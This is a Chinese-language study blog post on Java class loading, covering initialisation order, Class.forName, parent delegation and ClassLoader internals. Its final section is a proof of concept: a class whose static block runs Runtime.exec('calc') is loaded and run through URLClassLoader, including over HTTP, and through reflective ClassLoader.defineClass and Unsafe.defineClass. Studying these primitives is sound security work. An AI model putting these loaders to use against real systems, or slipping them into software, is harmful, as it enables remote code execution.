boxmoe_header_banner_img

Hello! 欢迎来到zz的小站!

加载中

文章导读

java 类加载机制


avatar
zzdzz 2025年12月3日 187

参考资料:白日梦组长

java 类加载机制

类加载的流程如下图:

https://segmentfault.com/a/1190000023876273

主要需要了解,类在初始化和使用时会默认执行一些方法

Person测试类

package jiazai;

public class Person {
    public String name;
    private int age;

    public static int id;
    static {
        System.out.println("静态代码块");
    }
    public static void staticAction() {
        System.out.println("静态方法");
    }
    {
        System.out.println("构造代码块");
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("有参person");
    }
    public Person() {
        System.out.println("无参person");
    }

    @Override
    public String toString() {
        return "Person [name=" + name + ", age=" + age + "]";
    }

    private void action(String act) {
        System.out.println(act);
    }
}

这里已经实例化了,都调用,我们尝试区分一下,哪些是初始化时会调用,哪些是实例化时调用

尝试直接调用他的静态方法

尝试给静态参数赋值,发现只调用静态代码块

总结一下:

初始化:静态代码块

实例化:构造代码块,无参构造函数

直接获取class

尝试获取Person.class

发现什么都不调用,说明直接加载class并没有初始化

此时我们想到,还有别的加载class方法

Class.forName

Class.forName时,调用了静态代码块,进行了初始化

调试进去分析,这里有个参能控制是否初始化

然后发现还有一个接受3个参的forName方法

尝试写一下如何不初始化

public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
package jiazai;

public class LoadClassTest {
    public static void main(String[] args) throws ClassNotFoundException {
//        new Person("zzdzz",123);
//        Person.staticAction();
//        Person.id = 1;
//        Class c = Person.class;
//        Class.forName("jiazai.Person");
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        Class.forName("jiazai.Person",false,systemClassLoader);
    }

}

ClassLoader

之前获取的SystemClassLoader尝试打印看一下是什么

sun.misc.Launcher$AppClassLoader@14dad5dc

这里就涉及到java 类加载器的双亲委派机制

这是逻辑指向,并非继承关系

双亲委派的意思是如果一个类加载器需要加载类,那么首先它会把这个类请求委派给父类加载器去完成,每一层都是如此。一直递归到顶层,当父加载器无法完成这个请求时,子类才会尝试去加载。

此时单独loadClass是不进行初始化的

调试跟进去可以发现:

1.类的继承关系

ClassLoader => SecureClassLoader => URLClassLoader => AppClassLoader

2.执行顺序

loadClass => findClass => defineClass(字节码加载类)

漏洞利用中的意义

尝试使用URLClassLoader加载任意类

准备好一个恶意类

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

加载代码

package jiazai;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader u = new URLClassLoader(new URL[]{new URL("file:///G:\\tmp\\")});
        Class<?> aClass = u.loadClass("Calc");
        aClass.newInstance();
    }
}

当然他的意义并不在于本地文件加载,他可以用http

python开一个http服务

package jiazai;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader u = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:7777/")});
        Class<?> aClass = u.loadClass("Calc");
        aClass.newInstance();
    }
}

尝试用defineClass

ClassLoadler.defineClass

package jiazai;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestD {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
        ClassLoader classLoader = TestD.class.getClassLoader();

        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("G:\\tmp\\Calc.class"));
        Class c = (Class) defineClassMethod.invoke(classLoader, "Calc", code, 0, code.length);
        c.newInstance();
    }
}

Unsafe.defineClass

相比于ClassLoadler.defineClass是私有方法 ,这个的defineClass是public,但是类不能直接生成

package jiazai;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestD {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {
        ClassLoader classLoader = TestD.class.getClassLoader();

//        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
//        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("G:\\tmp\\Calc.class"));
//        Class c = (Class) defineClassMethod.invoke(classLoader, "Calc", code, 0, code.length);
//        c.newInstance();

        Class u = Unsafe.class;
        Field theUnsafe = u.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class<?> aClass = unsafe.defineClass("Calc", code, 0, code.length, classLoader, null);
        aClass.newInstance();


    }
}



评论(已关闭)

评论已关闭